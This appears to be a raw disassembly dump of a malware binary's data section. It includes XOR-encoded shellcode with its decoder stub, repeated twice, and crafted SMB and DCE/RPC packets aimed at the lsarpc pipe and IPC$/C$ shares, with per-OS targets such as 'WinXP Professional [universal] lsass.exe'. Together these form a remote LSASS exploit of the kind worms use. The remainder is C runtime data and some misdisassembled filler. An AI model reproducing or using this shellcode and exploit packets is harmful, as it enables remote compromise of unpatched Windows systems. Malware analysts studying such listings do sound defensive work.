sub_431222:loc_431232p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_43122A: ; CODE XREF: sub_431222+Cj xor byte ptr [edx+ecx], 99h loop loc_43122A jmp short loc_431237 ; --------------------------------------------------------------------------- loc_431232: ; CODE XREF: .text:loc_431220j call sub_431222 loc_431237: ; CODE XREF: sub_431222+Ej jo short near ptr dword_4311B0+1Eh cwde cdq cdq retn sub_431222 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh word_4312D0 dw 4B9Dh ; DATA XREF: sub_4152B5+E5w dw 59AAh dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh dd 99EDFCF2h, 0 dword_4313B8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .text:00415733o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_431448 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:0041575Fo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dd 2 dup(0) dword_4314F8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00415787o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4315D8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4152B5+53o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_4: ; DATA XREF: sub_4152B5+90o unicode 0, <C$>,0 a????? db '?????',0 align 10h dword_431640 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4152B5+28Bo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 2 dup(0) dword_4316B0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4152B5+2B2o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_431758 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4152B5+383o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4317D8 dd offset loc_401495 ; DATA XREF: sub_4152B5+3A6o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 2 dup(0) dword_431870 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4152B5+2E2o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 2 dup(0) dword_4318E0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4152B5+307o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dword_431958 dd 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) word_4319E0 dw 0AD9Dh ; DATA XREF: sub_415175+2Ar ; sub_4152B5+CCr align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_431A20 dd 1004600h ; sub_4152B5+223r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) ; --------------------------------------------------------------------------- loc_431AD8: ; DATA XREF: .text:004159D4o ; .text:00415A52o jmp short loc_431AEA ; =============== S U B R O U T I N E ======================================= sub_431ADA proc near ; CODE XREF: sub_431ADA:loc_431AEAp pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_431AE2: ; CODE XREF: sub_431ADA+Cj xor byte ptr [edx+ecx], 99h loop loc_431AE2 jmp short loc_431AEF ; --------------------------------------------------------------------------- loc_431AEA: ; CODE XREF: .text:loc_431AD8j call sub_431ADA loc_431AEF: ; CODE XREF: sub_431ADA+Ej jo short near ptr dword_431A5C+2Ah cwde cdq cdq retn sub_431ADA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh word_431B88 dw 4B9Dh ; DATA XREF: .text:004159B5w dw 59AAh dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh dd 99EDFCF2h, 0 dword_431C70 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .text:00415B7Fo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_431D00 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00415BB1o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 10h dword_431DB0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00415BDCo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_431E90 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:0041591Fo dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_5: ; DATA XREF: .text:00415962o unicode 0, <C$>,0 a?????_0 db '?????',0 dd 2 dup(0) dword_431EF8 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00415C34o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 2 dup(0) dword_431F68 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00415C5Fo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_432010 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00415C93o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_432090 dd offset loc_401495 ; DATA XREF: .text:00415CC3o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 2 dup(0) dword_432128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00415CF5o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 2 dup(0) dword_432198 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00415D1Ao dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dword_432210 dd 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 3 dup(0) aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4322D0 dd 1004600h ; .text:00415A3Ar dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0 dd 9875h, 9873h off_432358 dd offset sub_41728D ; DATA XREF: sub_4182EBr dd offset nullsub_1 dd offset nullsub_1 align 10h dword_432370 dd 19930520h, 3 dup(0) ; sub_417E36+2o off_432380 dd offset sub_418434 ; DATA XREF: sub_41865A+1Cr dword_432384 dd 2 ; sub_41DADE+Er ... off_432388 dd offset aNull_1 ; DATA XREF: sub_418A1C:loc_418DE2r ; sub_418A1C+4E4r ; "(null)" off_43238C dd offset aNull ; DATA XREF: sub_418A1C+2ACr ; "(null)" dword_432390 dd 3 ; sub_4191B1+16w ... align 10h dd 43h, 0 dword_4323A8 dd 1, 8 dup(0) ; .text:off_4323FCo dd 2 dup(1), 3 dup(0) dd offset off_432D84 align 10h dd offset word_42C17A dd offset off_432CC8 dd 0 off_4323FC dd offset dword_4323A8 ; DATA XREF: sub_416C7A+Ar ; sub_4174C6+1Cr ... dd 0 dd 1, 8 dup(0) dd 43h, 21h dup(0) dd 43h, 20h dup(0) dd 10h off_432538 dd offset dword_4811E0 ; DATA XREF: sub_41A0A4:loc_41A0E1w ; sub_41A0ED+8o ... dword_43253C dd 1 dd offset dword_4811F8 dd 1, 2 dup(0) dd offset dword_481210 dd 1, 481228h, 1, 2 dup(0) dd offset dword_481240 dd 1, 481258h, 1, 481270h, 1, 2 dup(0) dd offset dword_481288 dd 1, 2 dup(0) dd offset dword_4812A0 dd 1, 4812B8h, 1, 4812D0h, 1, 2 dup(0) dd offset dword_4812E8 dd 1, 481300h, 1, 481318h, 1, 22h dup(0) off_432658 dd offset dword_481960 ; DATA XREF: sub_41A0ED+2Ao ; sub_41A0ED+4Ao ... align 10h dd offset dword_481960 dd 101h dword_432668 dd 0FFFFFFFFh, 0 dd 1000h, 0 dword_432678 dd 3 dup(0) ; sub_41C5A4+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_432698 dd 3 dup(0) ; sub_41C5A4:loc_41C5C2o dd 2, 0FFFFFFFFh, 7 dup(0) dword_4326C8 dd 7Ch dup(0) dword_4328B8 dd 8 dup(0) ; sub_41B154+Do dword_4328D8 dd 2 dup(0) dword_4328E0 dd 1 dword_4328E4 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch off_432A48 dd offset sub_41BF0E ; DATA XREF: sub_417255+5w ; sub_418A1C+43Er off_432A4C dd offset sub_41BB88 ; DATA XREF: sub_417255+Aw ; sub_418A1C+46Ar off_432A50 dd offset sub_41BBED ; DATA XREF: sub_417255+14w ; sub_4192C5+40Dr off_432A54 dd offset sub_41BB4C ; DATA XREF: sub_417255+1Ew ; sub_418A1C+459r off_432A58 dd offset sub_41BBD3 ; DATA XREF: sub_417255+28w off_432A5C dd offset sub_41BF0E ; DATA XREF: sub_417255+32w off_432A60 dd offset word_42C17A ; DATA XREF: sub_4175DA:loc_4176ACr ; sub_418A1C:loc_418C1Br ... off_432A64 dd offset word_42C382 ; DATA XREF: sub_421CA3+18r dword_432A68 dd 3789D824h ; sub_418A1C+9r ... dd offset loc_4206A7 off_432A70 dd offset sub_41CEC1 ; DATA XREF: sub_41CEF6+Cr align 10h byte_432A80 db 1 ; DATA XREF: sub_41D1D5+C8r db 2, 4, 8 align 8 dword_432A88 dd 3A4h dword_432A8C dd 82798260h dd 21h, 0 dword_432A98 dd 0DFA6h align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_432B78 dd 2 ; sub_41D967+32r off_432B7C dd offset aR6002FloatingP ; DATA XREF: sub_41D967+DEr ; sub_41D967+11Br ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 42C90Ch, 9, 42C8E0h, 0Ah, 42C848h, 10h, 42C81Ch dd 11h, 42C7ECh, 12h, 42C7C8h, 13h, 42C79Ch, 18h, 42C764h dd 19h, 42C73Ch, 1Ah, 42C704h, 1Bh, 42C6CCh, 1Ch, 42C6A4h dd 78h, 42C694h, 79h, 42C684h, 7Ah, 42C674h, 0FCh, 4239E8h dd 0FFh, 42C664h dword_432C08 dd 0C0000005h, 0Bh, 0 ; sub_419240+47o dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_432C80 dd 3 ; sub_41DB17+A3r ... dword_432C84 dd 7 ; sub_41DB17+A9r ... dd 78h dword_432C8C dd 0Ah ; sub_4213C5r dword_432C90 dd 0FFFFFFFFh, 0A80h, 7 dup(0) ; sub_41B1A6:loc_41B22Co dword_432CB4 dd 1 byte_432CB8 db 2Eh ; DATA XREF: sub_4192C5:loc_4195D0r ; sub_4192C5+329r ... align 4 dd 1, 432CC8h, 0 off_432CC8 dd offset aSun ; DATA XREF: .text:004323F4o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" ; --------------------------------------------------------------------------- cld retf 42h ; --------------------------------------------------------------------------- clc retf 42h ; --------------------------------------------------------------------------- dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" ; --------------------------------------------------------------------------- fmul st, st(2) inc edx add ah, cl retf 42h ; --------------------------------------------------------------------------- ror dl, 42h add [eax-53FFBD36h], bh retf 42h ; --------------------------------------------------------------------------- test al, 0CAh inc edx add [edx+ecx*8-355FFFBEh], ah inc edx add [edx+ecx*8-3567FFBEh], bl inc edx add [edx+ecx*8-356FFFBEh], dl inc edx add [edx+ecx*8-3577FFBEh], cl inc edx add [edx+ecx*8-357FFFBEh], al inc edx add [edx+ecx*8+42h], bh add [edx+ecx*8+42h], dh add [eax-36h], ch inc edx add [eax-36h], ah inc edx add [eax-36h], bl inc edx add [eax+500042CAh], bl retf 42h ; --------------------------------------------------------------------------- dec eax retf 42h ; --------------------------------------------------------------------------- inc eax retf 42h ; --------------------------------------------------------------------------- xor al, 0CAh inc edx add [edx+ecx*8], ch inc edx add [eax], ah retf 42h ; --------------------------------------------------------------------------- adc al, 0CAh inc edx add ds:35200042h[esi], bl inc edx add [eax], cl retf 42h ; --------------------------------------------------------------------------- dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy" dd offset aHhMmSs ; "HH:mm:ss" dd 409h, 1, 0 dword_432D80 dd 2Eh off_432D84 dd offset dword_432D80 ; DATA XREF: sub_41EC9A+15r ; .text:004323E0o ... off_432D88 dd offset dword_481460 ; DATA XREF: sub_41EC9A+32r off_432D8C dd offset dword_481460 ; DATA XREF: sub_41EC9A+4Er off_432D90 dd offset dword_481460 ; DATA XREF: sub_41ECF9+1Br off_432D94 dd offset dword_481460 ; DATA XREF: sub_41ECF9+38r off_432D98 dd offset dword_481460 ; DATA XREF: sub_41ECF9+55r off_432D9C dd offset dword_481460 ; DATA XREF: sub_41ECF9+72r off_432DA0 dd offset dword_481460 ; DATA XREF: sub_41ECF9+8Fr off_432DA4 dd offset dword_481460 ; DATA XREF: sub_41ECF9+ACr off_432DA8 dd offset dword_481460 ; DATA XREF: sub_41ECF9+C8r dd 2 dup(7F7F7F7Fh) off_432DB4 dd offset off_432D84 ; DATA XREF: sub_41EC9A+Br ; sub_41EC9A+27r ... align 10h dd 1, 3 dup(0) dword_432DD0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_432DE8 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh, 7080h, 1, 0FFFFF1F0h ; DATA XREF: sub_41FF3Fo dd 0 dword_432E10 dd 545350h, 0Fh dup(0)dword_432E50 dd 544450h, 0Fh dup(0) dd offset dword_432E10 dd offset dword_432E50 dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h dd 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh, 14Dh, 16Ch, 2 dup(0) dword_432F20 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_433080 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42186B+26o dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 dword_4331E0 dd 0 ; sub_4017E8+CFw ... dword_4331E4 dd 0 ; sub_401B94+F2w ... dd 3E6h dup(0) dword_434180 dd 6 dup(0) ; sub_40195E+129o ... dword_434198 dd 0 ; sub_401141+355o dword_43419C dd 0A2h dup(0) dword_434424 dd 41h dup(0) dword_434528 dd 0 ; sub_401141+303r align 10h dword_434530 dd 0 ; sub_401141+367r dword_434534 dd 0 dword_434538 dd 0 dword_43453C dd 0 dd 0 dword_434544 dd 0 dword_434548 dd 0 ; sub_401141+20Fr ... dword_43454C dd 41h dup(0) dword_434650 dd 41h dup(0) dword_434754 dd 0 ; sub_401141+25Br dword_434758 dd 